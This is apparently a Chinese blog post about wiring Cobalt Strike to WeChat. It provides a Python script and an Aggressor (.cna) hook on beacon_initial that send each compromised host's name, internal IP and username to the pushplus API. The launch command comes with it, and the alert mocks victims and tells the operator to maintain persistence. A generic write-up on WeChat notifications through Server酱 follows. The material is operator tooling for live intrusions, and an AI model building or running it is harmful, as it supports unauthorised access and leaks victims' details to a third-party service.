CobaltStrike上线微信通知

CobaltStrike上线微信通知

利用pushplus公众号(每天免费发送200条消息)

http://www.pushplus.plus/push1.html

扫码登录后需要复制token

在这里插入图片描述

可以测试一下发送一下消息,手机会受到如下消息。可以在微信提示里将消息免打扰关闭(默认是开启的)

在这里插入图片描述

利用该api接口在上线后进行请求,参考了github上大佬的代码。但接口变了用不了只能自己改一下,改好的代码如下

# encoding:utf-8
import argparse
import requests
import random
import string
import json


token = 'xxxxxx' #在 http://www.pushplus.plus/push1.html 复制

parser = argparse.ArgumentParser(description='Beacon Info')
parser.add_argument('--computername')
parser.add_argument('--internalip')
parser.add_argument('--username')
args = parser.parse_args()

internalip = args.internalip
computername = args.computername
username = args.username
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 8))

title = "TPAER专用CS主机上线提醒"
content = """

**主人又有笨蛋上线了~**

**主机名: {}**

**IP: {}**

**用户名: {}**

**Token: {}**

**注意权限维持**
""".format(internalip, computername, username, ran_str)

url = 'http://www.pushplus.plus/api/send'
data = {
    "token":token,
    "title":title,
    "content":content,
    "template":"markdown",
    "channel":"wechat"
}
body=json.dumps(data).encode(encoding='utf-8')
headers = {'Content-Type':'application/json'}
requests.post(url,data=body,headers=headers)

可以将token替换,直接运行看微信是否成功收到消息,测试成功后放在服务器某目录下

然后是一个.cna文件,里面需要修改的cmd命令中的地址

on beacon_initial {
	println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1,"pid"));
	local('$internalIP $computerName $userName');
	$internalIP = replace(beacon_info($1,"internal")," ","_");
	$computerName = replace(beacon_info($1,"computer")," ","_");
	$userName = replace(beacon_info($1,"user")," ","_");
	$cmd = 'python3 /root/ATK/CSonWeChat/PushPlus.py' . " --computernam " . $computerName . " --internalip " . $internalIP . " --username " . $userName;
	println("Sending server: " . $cmd);
	exec($cmd);
}

在准备完成后进入cs的目录下,可以使用screen也可以nohup命令后台挂载

我这里直接使用screen,然后执行如下命令

./agscript Cobalt_Strikeip 端口 用户 密码 /目录/PushPlus.cna > /目录/PushPlus.log 2>&1 &

查看进程,成功跑起

ps -aux | grep agscript

在这里插入图片描述

在CS有主机上线后,微信成功收到了发来的提示信息
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Python微信通知是通过调用第三方接口实现的一种方式,可以实现向指定的微信用户发送消息的功能。通常使用的第三方接口有Server酱、PushBear等。 使用Python发送微信通知的步骤如下: 1. 注册一个微信公众号,获取appid和appsecret。 2. 在Python中使用requests库,向第三方接口发送请求。 3. 在请求中包含必要的参数,如接收消息的微信用户openid、消息标题和内容等。 4. 根据接口返回结果,判断发送是否成功。 下面以使用Server酱为例,来展示具体的实现步骤: 1. 首先,需要在https://sc.ftqq.com/3.version注册并获取SCKEY。 2. 在Python中引入requests库,并调用`requests.post()`方法发送POST请求。 3. 在请求中包含以下参数: - url: Server酱提供的接口地址,格式为`https://sc.ftqq.com/{SCKEY}.send`。 - data: 包含要发送的消息内容的字典,如`{'text': '消息标题', 'desp': '消息内容'}`。其中,'text'为消息标题,'desp'为消息内容。可以根据需要自行修改。 4. 根据请求返回的结果进行判断,如果返回的状态码为200,则表示发送成功。 下面是一个示例代码: ```python import requests def send_wechat_notification(title, content): url = 'https://sc.ftqq.com/{YOUR_SCKEY}.send' # 替换为自己的SCKEY data = { 'text': title, 'desp': content } response = requests.post(url, data=data) if response.status_code == 200: print('消息发送成功') else: print('消息发送失败') title = 'Python微信通知示例' content = '这是一条通过Python发送的微信通知。' send_wechat_notification(title, content) ``` 以上就是使用Python实现微信通知的简要步骤和示例代码。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值